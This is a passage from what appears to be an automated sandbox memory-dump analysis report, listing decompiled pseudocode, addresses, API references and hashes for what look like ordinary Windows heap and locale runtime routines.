					_t208 = 0;
					_t248 = 0;
					 *(_t238 + 0x74) =  *(_t238 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x6d275142
0x6d27514c
0x6d275150
0x6d275157
0x6d275159
0x6d27515e
0x6d275165
0x6d275169
0x6d27516c
0x6d275172
0x6d275176
0x6d27517a
0x6d27517a
0x6d27517a
0x6d27517f
0x6d2b6d8b
0x6d2b6d8e
0x6d2b6d91
0x6d2b6d95
0x6d2b6d98
0x6d2b6d9c
0x6d2b6da0
0x6d2b6da3
0x6d2b6da7
0x6d2b6e26
0x6d2b6e26
0x6d2b6e2a
0x6d2751f9
0x6d2751f9
0x6d2751fe
0x6d2b6e33
0x6d2b6e33
0x6d2b6e39
0x6d2b6e3d
0x6d2b6e46
0x6d2b6e50
0x00000000
0x00000000
0x6d2b6e52
0x6d2b6e53
0x6d2b6e56
0x6d2b6e5d
0x00000000
0x00000000
0x00000000
0x6d2b6e5f
0x6d2b6e67
0x6d2b6e77
0x6d2b6e7f
0x6d2b6e80
0x6d2b6e88
0x6d2b6e90
0x6d2b6e9f
0x6d2b6ea5
0x6d2b6ea9
0x6d2b6eb1
0x6d2b6ebf
0x00000000
0x00000000
0x6d2b6ecf
0x6d2b6ed3
0x00000000
0x00000000
0x6d2b6edb
0x6d2b6ede
0x6d2b6ee1
0x6d2b6ee8
0x6d2b6eeb
0x6d2b6eed
0x6d2b6ef0
0x6d2b6ef4
0x6d2b6ef8
0x6d2b6efc
0x00000000
0x00000000
0x6d2b6f0d
0x6d2b6f11
0x6d2b6f32
0x6d2b6f37
0x6d2b6f3b
0x6d2b6f3e
0x6d2b6f41
0x6d2b6f46
0x00000000
0x00000000
0x6d2b6f4c
0x6d2b6f50
0x6d2b6f50
0x6d2b6f54
0x6d2b6f62
0x6d2b6f65
0x6d2b6f6d
0x6d2b6f7b
0x6d2b6f7b
0x6d2b6f93
0x6d2b6f98
0x6d2b6fa0
0x6d2b6fa6
0x6d2b6fb3
0x6d2b6fb6
0x6d2b6fbf
0x6d2b6fc1
0x6d2b6fd5
0x6d2b6fda
0x6d2b6fda
0x6d2b6fdd
0x6d2b6fe2
0x6d2b6fe7
0x6d2b6feb
0x6d2b6fef
0x6d2b6ff3
0x6d27520c
0x6d27520c
0x6d27520f
0x6d275215
0x6d275234
0x6d27523a
0x6d27523a
0x6d275244
0x6d275245
0x6d275246
0x6d275251
0x6d275251
0x6d2b6f13
0x6d2b6f17
0x6d2b6f17
0x6d2b6f18
0x6d2b6f1b
0x6d2b6f1f
0x6d2b6f23
0x00000000
0x6d2b6f28
0x6d275204
0x6d275204
0x6d275208
0x00000000
0x6d275208
0x6d275185
0x6d275188
0x6d27518a
0x6d27518e
0x6d275195
0x6d2b6db1
0x6d2b6db5
0x6d2b6db9
0x6d27519b
0x6d27519b
0x6d27519e
0x6d2751a7
0x6d2751a9
0x6d2751a9
0x6d2751b5
0x6d2751b8
0x6d2751bb
0x6d2751be
0x6d2751c1
0x6d2751c5
0x6d2751c9
0x6d2751cd
0x6d2751cd
0x6d2751d8
0x6d2751dc
0x6d2751e0
0x6d2b6dcc
0x6d2b6dd0
0x6d2b6dd5
0x6d2b6ddd
0x6d2b6de1
0x6d2b6de1
0x6d2b6de5
0x6d2b6deb
0x6d2b6df1
0x6d2b6df7
0x6d2b6dfd
0x6d2b6e01
0x6d2b6e05
0x6d2b6e09
0x6d2b6e0d
0x6d2b6e11
0x6d2b6e11
0x6d2751eb
0x6d2b6e1a
0x6d2b6e1f
0x6d2b6e21
0x6d2b6e23
0x00000000
0x6d2751f1
0x6d2751f1
0x00000000
0x6d2751f1

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,00000000,?,000000A0,?), ref: 6D275234

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 3163073e6ae7c1f267188cd4dd79cfc48c70f0293902cfcc9f66583d10d2e890
Instruction ID: c9ce5de747dde9122fe7567ea2d49759a96434354663f7cab96eb34dc55ed363
Opcode Fuzzy Hash: 3163073e6ae7c1f267188cd4dd79cfc48c70f0293902cfcc9f66583d10d2e890
Instruction Fuzzy Hash: C7C154755483868FD355CF28C480A6AFBF1BF89309F14896EF9998B352D371E845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6D2FD4E1, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 223
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D2FD4E1(signed int __ecx, signed char __edx, signed int _a4, intOrPtr _a8, void* _a12, signed int* _a16, short* _a20) {
				void* _v8;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				void* _v36;
				signed int _t73;
				signed int _t77;
				void* _t86;
				WCHAR* _t91;
				signed int _t96;
				signed int _t100;
				signed int _t112;
				signed int _t113;
				intOrPtr _t115;
				intOrPtr _t118;
				signed int _t121;
				signed int _t123;
				intOrPtr _t125;
				signed char _t128;
				signed int _t130;
				void* _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t135;
				intOrPtr _t140;
				void* _t141;
				signed int* _t142;
				short* _t143;
				signed int _t144;

				_t128 = __edx;
				_t141 = 0;
				_v12 = __edx;
				_v24 = _v24 & 0;
				_t112 = __ecx;
				_t115 = _a8;
				_t73 = 0;
				_v28 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_t138 = _a4;
				if(__edx != _t115) {
					if(__edx == 0 || _t115 == 0) {
						L53:
						_t113 = 0;
						goto L54;
					} else {
						_t143 = _a20;
						if(_t143 != 0) {
							 *_t143 = 0xffffffff;
						}
						if(_t128 != 2) {
							if(_t115 != 2) {
								if(_t128 != 1) {
									if(_t128 != 3 || _t115 != 1) {
										goto L52;
									} else {
										_t131 = 0x55;
										_t141 = E6D24F358(_t115, _t131);
										if(_t141 == 0) {
											goto L53;
										}
										_v32 = _t141;
										_v36 = 0xaa0000;
										if(E6D253B30(_a12,  &_v36) == 0) {
											goto L53;
										}
										_t132 =  *((intOrPtr*)(_t112 + 0x18));
										_t138 = _a4;
										if(_t132 == 0 || _t138 < 0) {
											L48:
											_t86 = 0;
											goto L49;
										} else {
											_t121 = _t138;
											if(_t121 >= ( *(_t132 + 6) & 0x0000ffff)) {
												goto L48;
											}
											_t86 =  *((intOrPtr*)(_t132 + 0x10)) +  *( *((intOrPtr*)(_t132 + 0xc)) + _t121 * 2) * 2;
											L49:
											if(_t86 == 0 || E6D28E490(_v32, _t86) != 0) {
												goto L53;
											} else {
												_t113 = 1;
												L54:
												if(_t141 != 0) {
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t141);
												}
												goto L11;
											}
										}
									}
								}
								if(_t115 != 3) {
									goto L52;
								}
								_t133 =  *((intOrPtr*)(_t112 + 0x18));
								if(_t133 == 0) {
									L36:
									_t91 = 0;
									L37:
									if(_t91 == 0) {
										goto L52;
									}
									RtlInitUnicodeString( &_v36, _t91);
									if(E6D2543C0( &_v36,  &_v20) == 0) {
										goto L52;
									}
									_t138 = _a4;
									_t113 = _t112 & 0xffffff00 | _a4 == _v20;
									goto L11;
								}
								_t96 = _a12;
								if(_t96 < 0) {
									goto L36;
								}
								_t123 = _t96;
								if(_t123 >= ( *(_t133 + 6) & 0x0000ffff)) {
									goto L36;
								}
								_t91 =  *((intOrPtr*)(_t133 + 0x10)) +  *( *((intOrPtr*)(_t133 + 0xc)) + _t123 * 2) * 2;
								goto L37;
							}
							if(_t112 == 0) {
								goto L52;
							}
							_t100 = _a12;
							if(_t100 < 0) {
								goto L52;
							}
							_t125 =  *((intOrPtr*)(_t112 + 0x14));
							_v20 = _t100;
							if(_v20 >= ( *(_t125 + 6) & 0x0000ffff)) {
								goto L52;
							}
							_t138 = _a4;
							_v16 = _v20 * 0x1c +  *((intOrPtr*)(_t125 + 0xc));
							_t113 = E6D2FDF1D(_t112, _v20 * 0x1c +  *((intOrPtr*)(_t125 + 0xc)), _t128, _a4);
							_t73 = _v16;
							if(_t113 == 0 || _t73 == 0) {
								_t128 = _v12;
								goto L13;
							} else {
								_t128 = _v12;
								if(_t143 == 0) {
									goto L13;
								}
								 *_t143 = _a12;
								goto L12;
							}
						} else {
							if(_t112 == 0 || _t138 < 0) {
								L52:
								_t141 = _v8;
								goto L53;
							} else {
								_t135 =  *((intOrPtr*)(_t112 + 0x14));
								_t144 = _t138;
								if(_t144 >= ( *(_t135 + 6) & 0x0000ffff)) {
									goto L52;
								}
								_v24 = _t144 * 0x1c +  *((intOrPtr*)(_t135 + 0xc));
								_t113 = E6D2FDF1D(_t112, _t144 * 0x1c +  *((intOrPtr*)(_t135 + 0xc)), _t115, _a12);
								L11:
								_t128 = _v12;
								L12:
								_t73 = _v16;
								L13:
								_t142 = _a16;
								if(_t142 == 0) {
									L58:
									return _t113;
								}
								if(_t113 == 0) {
									 *_t142 =  *_t142 & 0x00000000;
									goto L58;
								}
								if(_t73 != 0) {
									L21:
									 *_t142 = _t73;
									goto L58;
								}
								_t73 = _v24;
								if(_t73 != 0) {
									goto L21;
								}
								 *_t142 =  *_t142 & _t73;
								_t140 = _v28;
								if(E6D253AD2(_t140, _t128 & 0x000000ff, _t138,  &_v8) < 0) {
									goto L58;
								}
								_t77 = _v8;
								if(0 > _t77) {
									goto L58;
								}
								_t118 =  *((intOrPtr*)(_t140 + 0x14));
								_t130 = _t77;
								if(_t130 >= ( *(_t118 + 6) & 0x0000ffff)) {
									goto L58;
								}
								_t73 = _t130 * 0x1c +  *((intOrPtr*)(_t118 + 0xc));
								goto L21;
							}
						}
					}
				}
				_t113 = __ecx & 0xffffff00 | _t138 == _a12;
				goto L13;
			}

0x6d2fd4e1
0x6d2fd4eb
0x6d2fd4ed
0x6d2fd4f0
0x6d2fd4f3
0x6d2fd4f5
0x6d2fd4f8
0x6d2fd4fa
0x6d2fd4fd
0x6d2fd500
0x6d2fd504
0x6d2fd509
0x6d2fd516
0x6d2fd73b
0x6d2fd73b
0x00000000
0x6d2fd524
0x6d2fd524
0x6d2fd529
0x6d2fd52e
0x6d2fd52e
0x6d2fd534
0x6d2fd5e6
0x6d2fd656
0x6d2fd6c5
0x00000000
0x6d2fd6cc
0x6d2fd6ce
0x6d2fd6d4
0x6d2fd6d8
0x00000000
0x00000000
0x6d2fd6dd
0x6d2fd6e6
0x6d2fd6f4
0x00000000
0x00000000
0x6d2fd6f6
0x6d2fd6f9
0x6d2fd6fe
0x6d2fd71f
0x6d2fd71f
0x00000000
0x6d2fd705
0x6d2fd709
0x6d2fd70e
0x00000000
0x00000000
0x6d2fd71a
0x6d2fd721
0x6d2fd723
0x00000000
0x6d2fd734
0x6d2fd734
0x6d2fd73d
0x6d2fd73f
0x6d2fd751
0x6d2fd751
0x00000000
0x6d2fd73f
0x6d2fd723
0x6d2fd6fe
0x6d2fd6c5
0x6d2fd65b
0x00000000
0x00000000
0x6d2fd661
0x6d2fd666
0x6d2fd68a
0x6d2fd68a
0x6d2fd68c
0x6d2fd68e
0x00000000
0x00000000
0x6d2fd699
0x6d2fd6ad
0x00000000
0x00000000
0x6d2fd6b3
0x6d2fd6ba
0x00000000
0x6d2fd6ba
0x6d2fd668
0x6d2fd66e
0x00000000
0x00000000
0x6d2fd670
0x6d2fd679
0x00000000
0x00000000
0x6d2fd685
0x00000000
0x6d2fd685
0x6d2fd5ea
0x00000000
0x00000000
0x6d2fd5f0
0x6d2fd5f6
0x00000000
0x00000000
0x6d2fd5fc
0x6d2fd600
0x6d2fd60a
0x00000000
0x00000000
0x6d2fd614
0x6d2fd620
0x6d2fd628
0x6d2fd62a
0x6d2fd62f
0x6d2fd75b
0x00000000
0x6d2fd63d
0x6d2fd63d
0x6d2fd642
0x00000000
0x00000000
0x6d2fd64b
0x00000000
0x6d2fd64b
0x6d2fd53a
0x6d2fd53c
0x6d2fd738
0x6d2fd738
0x00000000
0x6d2fd54b
0x6d2fd54b
0x6d2fd54e
0x6d2fd557
0x00000000
0x00000000
0x6d2fd56b
0x6d2fd573
0x6d2fd575
0x6d2fd575
0x6d2fd578
0x6d2fd578
0x6d2fd57b
0x6d2fd57b
0x6d2fd580
0x6d2fd766
0x6d2fd76e
0x6d2fd76e
0x6d2fd588
0x6d2fd763
0x00000000
0x6d2fd763
0x6d2fd590
0x6d2fd5dc
0x6d2fd5dc
0x00000000
0x6d2fd5dc
0x6d2fd592
0x6d2fd597
0x00000000
0x00000000
0x6d2fd599
0x6d2fd5a0
0x6d2fd5af
0x00000000
0x00000000
0x6d2fd5b5
0x6d2fd5be
0x00000000
0x00000000
0x6d2fd5c4
0x6d2fd5c7
0x6d2fd5d0
0x00000000
0x00000000
0x6d2fd5d9
0x00000000
0x6d2fd5d9
0x6d2fd53c
0x6d2fd534
0x6d2fd516
0x6d2fd50f
0x00000000

APIs

RtlInitUnicodeString.1105(?,00000000,00000001,00000000,?,?,00000000,00000000,6D2571B4,6D2571B4,?,C000000D,?,?,?,?), ref: 6D2FD699
RtlCultureNameToLCID.1105(?,6D2571B4,?,00000000,00000001,00000000,?,?,00000000,00000000,6D2571B4,6D2571B4,?,C000000D,?,?), ref: 6D2FD6A6
RtlLCIDToCultureName.1105(6D2571B4,?,00000001,00000000,?), ref: 6D2FD6ED
_wcsicmp.1105(00000000,00000000,6D2571B4,?,00000001,00000000,?), ref: 6D2FD729
RtlFreeHeap.1105(?,00000000,00000000,00000001,00000000,?,?,00000000,00000000,6D2571B4,6D2571B4,?,C000000D,?,?,?), ref: 6D2FD751

Strings

MUI, xrefs: 6D2FD694, 6D2FD725

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureName$FreeHeapInitStringUnicode_wcsicmp
String ID: MUI
API String ID: 3981842732-1339004836
Opcode ID: e4190bdba769db170bdf03e4438b82029291753f772159210f9cf24315aaed2f
Instruction ID: d268df99bda7df088ae1f5ac3b062bdabd48a20b9e11684a33769c60c8f44668
Opcode Fuzzy Hash: e4190bdba769db170bdf03e4438b82029291753f772159210f9cf24315aaed2f
Instruction Fuzzy Hash: 78719A35AC421F9BDB10CF64C480ABEF7B9BF85705F55496AEC90AB240E735D9838B90

Uniqueness

Uniqueness Score: -1.00%

Function 6D26B73D, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D26B73D(void* __ecx, signed int __edx, intOrPtr* _a4, unsigned int _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t72;
				char _t76;
				signed char _t77;
				intOrPtr* _t80;
				unsigned int _t85;
				signed int* _t86;
				signed int _t88;
				signed char _t89;
				intOrPtr _t90;
				intOrPtr _t101;
				intOrPtr* _t111;
				void* _t117;
				intOrPtr* _t118;
				signed int _t120;
				signed char _t121;
				intOrPtr* _t123;
				signed int _t126;
				intOrPtr _t136;
				signed int _t139;
				void* _t140;
				signed int _t141;
				void* _t147;

				_t111 = _a4;
				_t140 = __ecx;
				_v8 = __edx;
				_t3 = _t111 + 0x18; // 0x0
				 *((intOrPtr*)(_t111 + 0x10)) = _t3;
				_t5 = _t111 - 8; // -32
				_t141 = _t5;
				 *(_t111 + 0x14) = _a8;
				_t72 = 4;
				 *(_t141 + 2) = 1;
				 *_t141 = _t72;
				 *((char*)(_t141 + 7)) = 3;
				_t134 =  *((intOrPtr*)(__edx + 0x18));
				if( *((intOrPtr*)(__edx + 0x18)) != __edx) {
					_t76 = (_t141 - __edx >> 0x10) + 1;
					_v12 = _t76;
					__eflags = _t76 - 0xfe;
					if(_t76 >= 0xfe) {
						_push(__edx);
						_push(0);
						E6D30A80D(_t134, 3, _t141, __edx);
						_t76 = _v12;
					}
				} else {
					_t76 = 0;
				}
				 *((char*)(_t141 + 6)) = _t76;
				if( *0x6d338748 >= 1) {
					__eflags = _a12 - _t141;
					if(_a12 <= _t141) {
						goto L4;
					}
					_t101 =  *[fs:0x30];
					__eflags =  *(_t101 + 0xc);
					if( *(_t101 + 0xc) == 0) {
						_push("HEAP: ");
						E6D24B150();
					} else {
						E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push("((PHEAP_ENTRY)LastKnownEntry <= Entry)");
					E6D24B150();
					__eflags =  *0x6d337bc8;
					if(__eflags == 0) {
						E6D302073(_t111, 1, _t140, __eflags);
					}
					goto L3;
				} else {
					L3:
					_t147 = _a12 - _t141;
					L4:
					if(_t147 != 0) {
						 *((short*)(_t141 + 4)) =  *((intOrPtr*)(_t140 + 0x54));
					}
					if( *((intOrPtr*)(_t140 + 0x4c)) != 0) {
						 *(_t141 + 3) =  *(_t141 + 1) ^  *(_t141 + 2) ^  *_t141;
						 *_t141 =  *_t141 ^  *(_t140 + 0x50);
					}
					_t135 =  *(_t111 + 0x14);
					if( *(_t111 + 0x14) == 0) {
						L12:
						_t77 =  *((intOrPtr*)(_t141 + 6));
						if(_t77 != 0) {
							_t117 = (_t141 & 0xffff0000) - ((_t77 & 0x000000ff) << 0x10) + 0x10000;
						} else {
							_t117 = _t140;
						}
						_t118 = _t117 + 0x38;
						_t26 = _t111 + 8; // -16
						_t80 = _t26;
						_t136 =  *_t118;
						if( *((intOrPtr*)(_t136 + 4)) != _t118) {
							_push(_t118);
							_push(0);
							E6D30A80D(0, 0xd, _t118,  *((intOrPtr*)(_t136 + 4)));
						} else {
							 *_t80 = _t136;
							 *((intOrPtr*)(_t80 + 4)) = _t118;
							 *((intOrPtr*)(_t136 + 4)) = _t80;
							 *_t118 = _t80;
						}
						_t120 = _v8;
						 *((intOrPtr*)(_t120 + 0x30)) =  *((intOrPtr*)(_t120 + 0x30)) + 1;
						 *((intOrPtr*)(_t120 + 0x2c)) =  *((intOrPtr*)(_t120 + 0x2c)) + ( *(_t111 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t140 + 0x1e8)) =  *((intOrPtr*)(_t140 + 0x1e8)) -  *(_t111 + 0x14);
						 *((intOrPtr*)(_t140 + 0x1f8)) =  *((intOrPtr*)(_t140 + 0x1f8)) + 1;
						if( *((intOrPtr*)(_t140 + 0x1f8)) > 0xa) {
							__eflags =  *(_t140 + 0xb8);
							if( *(_t140 + 0xb8) == 0) {
								_t88 =  *(_t140 + 0x40) & 0x00000003;
								__eflags = _t88 - 2;
								_t121 = _t120 & 0xffffff00 | _t88 == 0x00000002;
								__eflags =  *0x6d338720 & 0x00000001;
								_t89 = _t88 & 0xffffff00 | ( *0x6d338720 & 0x00000001) == 0x00000000;
								__eflags = _t89 & _t121;
								if((_t89 & _t121) != 0) {
									 *(_t140 + 0x48) =  *(_t140 + 0x48) | 0x10000000;
								}
							}
						}
						_t85 =  *(_t111 + 0x14);
						if(_t85 >= 0x7f000) {
							 *((intOrPtr*)(_t140 + 0x1ec)) =  *((intOrPtr*)(_t140 + 0x1ec)) + _t85;
						}
						_t86 = _a16;
						 *_t86 = _t141 - _a12 >> 3;
						return _t86;
					} else {
						_t90 = E6D26B8E4(_t135);
						_t123 =  *((intOrPtr*)(_t90 + 4));
						if( *_t123 != _t90) {
							_push(_t123);
							_push( *_t123);
							E6D30A80D(0, 0xd, _t90, 0);
						} else {
							 *_t111 = _t90;
							 *((intOrPtr*)(_t111 + 4)) = _t123;
							 *_t123 = _t111;
							 *((intOrPtr*)(_t90 + 4)) = _t111;
						}
						_t139 =  *(_t140 + 0xb8);
						if(_t139 != 0) {
							_t93 =  *(_t111 + 0x14) >> 0xc;
							__eflags = _t93;
							while(1) {
								__eflags = _t93 -  *((intOrPtr*)(_t139 + 4));
								if(_t93 <  *((intOrPtr*)(_t139 + 4))) {
									break;
								}
								_t126 =  *_t139;
								__eflags = _t126;
								if(_t126 != 0) {
									_t139 = _t126;
									continue;
								}
								_t93 =  *((intOrPtr*)(_t139 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t139 + 4)) - 1;
								break;
							}
							E6D26E4A0(_t140, _t139, 0, _t111, _t93,  *(_t111 + 0x14));
						}
						goto L12;
					}
				}
			}

0x6d26b746
0x6d26b74b
0x6d26b74d
0x6d26b750
0x6d26b755
0x6d26b758
0x6d26b758
0x6d26b75e
0x6d26b763
0x6d26b764
0x6d26b76a
0x6d26b76d
0x6d26b771
0x6d26b776
0x6d26b85c
0x6d26b85d
0x6d26b860
0x6d26b865
0x6d2b2ba1
0x6d2b2ba2
0x6d2b2ba9
0x6d2b2bae
0x6d2b2bae
0x6d26b77c
0x6d26b77c
0x6d26b77c
0x6d26b785
0x6d26b788
0x6d2b2bb6
0x6d2b2bb9
0x00000000
0x00000000
0x6d2b2bbf
0x6d2b2bc5
0x6d2b2bc9
0x6d2b2be8
0x6d2b2bed
0x6d2b2bcb
0x6d2b2be0
0x6d2b2be5
0x6d2b2bf3
0x6d2b2bf8
0x6d2b2bfd
0x6d2b2c05
0x6d2b2c0e
0x6d2b2c0e
0x00000000
0x6d26b78e
0x6d26b78e
0x6d26b78e
0x6d26b791
0x6d26b791
0x6d26b797
0x6d26b797
0x6d26b79f
0x6d26b7a9
0x6d26b7af
0x6d26b7af
0x6d26b7b1
0x6d26b7b6
0x6d26b7e2
0x6d26b7e2
0x6d26b7e7
0x6d26b880
0x6d26b7ed
0x6d26b7ed
0x6d26b7ed
0x6d26b7ef
0x6d26b7f2
0x6d26b7f2
0x6d26b7f5
0x6d26b7fa
0x6d2b2c2d
0x6d2b2c2e
0x6d2b2c39
0x6d26b800
0x6d26b800
0x6d26b802
0x6d26b805
0x6d26b808
0x6d26b808
0x6d26b80a
0x6d26b80d
0x6d26b816
0x6d26b81c
0x6d26b822
0x6d26b82f
0x6d26b88b
0x6d26b892
0x6d26b897
0x6d26b899
0x6d26b89b
0x6d26b89e
0x6d26b8a5
0x6d26b8a8
0x6d26b8aa
0x6d26b8ac
0x6d26b8ac
0x6d26b8aa
0x6d26b892
0x6d26b831
0x6d26b839
0x6d26b83b
0x6d26b83b
0x6d26b844
0x6d26b84b
0x6d26b852
0x6d26b7b8
0x6d26b7ba
0x6d26b7bf
0x6d26b7c4
0x6d2b2c18
0x6d2b2c19
0x6d2b2c23
0x6d26b7ca
0x6d26b7ca
0x6d26b7cc
0x6d26b7cf
0x6d26b7d1
0x6d26b7d1
0x6d26b7d4
0x6d26b7dc
0x6d26b8bb
0x6d26b8bb
0x6d26b8be
0x6d26b8be
0x6d26b8c1
0x00000000
0x00000000
0x6d26b8c3
0x6d26b8c5
0x6d26b8c7
0x6d26b8e0
0x00000000
0x6d26b8e0
0x6d26b8cc
0x6d26b8cc
0x00000000
0x6d26b8cc
0x6d26b8d6
0x6d26b8d6
0x00000000
0x6d26b7dc
0x6d26b7b6

Strings

HEAP[%wZ]: , xrefs: 6D2B2BDB
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 6D2B2BF3
HEAP: , xrefs: 6D2B2BE8

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 3ed440b1222994773e8f3fe55e2e9b9aa312461649540de985d1806bb75599b5
Instruction ID: c86c14f5ede2eefb799243f64dec17e41683556db7f6886aeda5f35fca6e81c2
Opcode Fuzzy Hash: 3ed440b1222994773e8f3fe55e2e9b9aa312461649540de985d1806bb75599b5
Instruction Fuzzy Hash: 3961CD7169438ADFDB19CF28C480B6ABBB5FF45309F15C56AF8498B241D770E881CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D24E8B0, Relevance: 10.7, APIs: 7, Instructions: 190
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D24E8B0(void* __ecx, signed int* _a4, signed int _a8) {
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int _t100;
				signed int _t101;
				signed int _t123;
				long _t131;
				signed int* _t134;

				_t134 = _a4;
				_t131 = 0;
				if(_t134 == 0) {
					L70:
					_t131 = 0xc000000d;
					L15:
					return _t131;
				}
				_t123 = _a8;
				if(_t123 == 0) {
					goto L70;
				}
				if((_t123 & 0x00000400) != 0) {
					_t123 = 0xfff;
				}
				if((_t123 & 0x00000001) != 0) {
					if(_t134[5] != _t131) {
						if(( *_t134 & 0x00000001) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[5]);
						}
						_t134[5] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffffe;
				}
				if((_t123 & 0x00000002) != 0) {
					if(_t134[6] != _t131) {
						if(( *_t134 & 0x00000002) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[6]);
						}
						_t134[6] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffffd;
				}
				if((_t123 & 0x00000004) != 0) {
					if(_t134[7] != _t131) {
						if(( *_t134 & 0x00000004) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[7]);
						}
						_t134[7] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffffb;
				}
				if((_t123 & 0x00000008) != 0) {
					if(_t134[8] != _t131) {
						if(( *_t134 & 0x00000008) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[8]);
						}
						_t134[8] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffff7;
				}
				if((_t123 & 0x00000010) != 0) {
					_t97 = _t134[9];
					if(_t97 != 0) {
						if(( *_t134 & 0x00000010) != 0) {
							 *(_t97 + 0x20) =  *(_t97 + 0x20) & 0xffffffbf;
							E6D2576E2(_t134[9]);
						}
						_t134[9] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffffef;
				}
				if((_t123 & 0x00000020) != 0) {
					_t98 = _t134[0xa];
					if(_t98 != 0) {
						if(( *_t134 & 0x00000020) != 0) {
							 *(_t98 + 0x20) =  *(_t98 + 0x20) & 0xffffffbf;
							E6D2576E2(_t134[0xa]);
						}
						_t134[0xa] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffffdf;
				}
				if((_t123 & 0x00000040) != 0) {
					_t99 = _t134[0xd];
					if(_t99 != 0) {
						if(( *_t134 & 0x00000040) != 0) {
							 *(_t99 + 0x20) =  *(_t99 + 0x20) & 0xffffffbf;
							E6D2576E2(_t134[0xd]);
						}
						_t134[0xd] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffffbf;
				}
				if(_t123 < 0) {
					_t100 = _t134[0xc];
					if(_t100 != 0) {
						if(( *_t134 & 0x00000080) != 0) {
							 *(_t100 + 0x20) =  *(_t100 + 0x20) & 0xffffffbf;
							E6D2576E2(_t134[0xc]);
						}
						_t134[0xc] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffff7f;
				}
				_t125 = 0x200;
				if((0x00000200 & _t123) != 0) {
					_t101 = _t134[0xe];
					if(_t101 != 0) {
						if(( *_t134 & 0x00000200) != 0) {
							 *(_t101 + 0x20) =  *(_t101 + 0x20) & 0xffffffbf;
							_t125 = _t134[0xe];
							E6D2576E2(_t134[0xe]);
						}
						_t134[0xe] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffdff;
				}
				if((0x00000800 & _t123) != 0) {
					if(_t134[0x14] != _t131) {
						if(( *_t134 & 0x00000800) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[0x14]);
						}
						_t134[0x14] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffff7ff;
				}
				if((_t123 & 0x00000fff) != 0 && _t134[0xf] != _t131) {
					E6D24E8B0(_t125, _t134[0xf], _t123);
					if(_t134[0xf] != _t131) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[0xf]);
					}
					_t134[0xf] = _t131;
				}
			}

0x6d24e8bb
0x6d24e8bf
0x6d24e8c3
0x6d2a57a2
0x6d2a57a2
0x6d24e942
0x6d24e94a
0x6d24e94a
0x6d24e8c9
0x6d24e8ce
0x00000000
0x00000000
0x6d24e8da
0x6d2a564f
0x6d2a564f
0x6d24e8e3
0x6d24e98f
0x6d2a565c
0x6d2a566b
0x6d2a566b
0x6d2a5670
0x6d2a5670
0x6d24e995
0x6d24e995
0x6d24e8ec
0x6d24e9a0
0x6d2a567b
0x6d2a568a
0x6d2a568a
0x6d2a568f
0x6d2a568f
0x6d24e9a6
0x6d24e9a6
0x6d24e8f5
0x6d24e950
0x6d2a569a
0x6d2a56a9
0x6d2a56a9
0x6d2a56ae
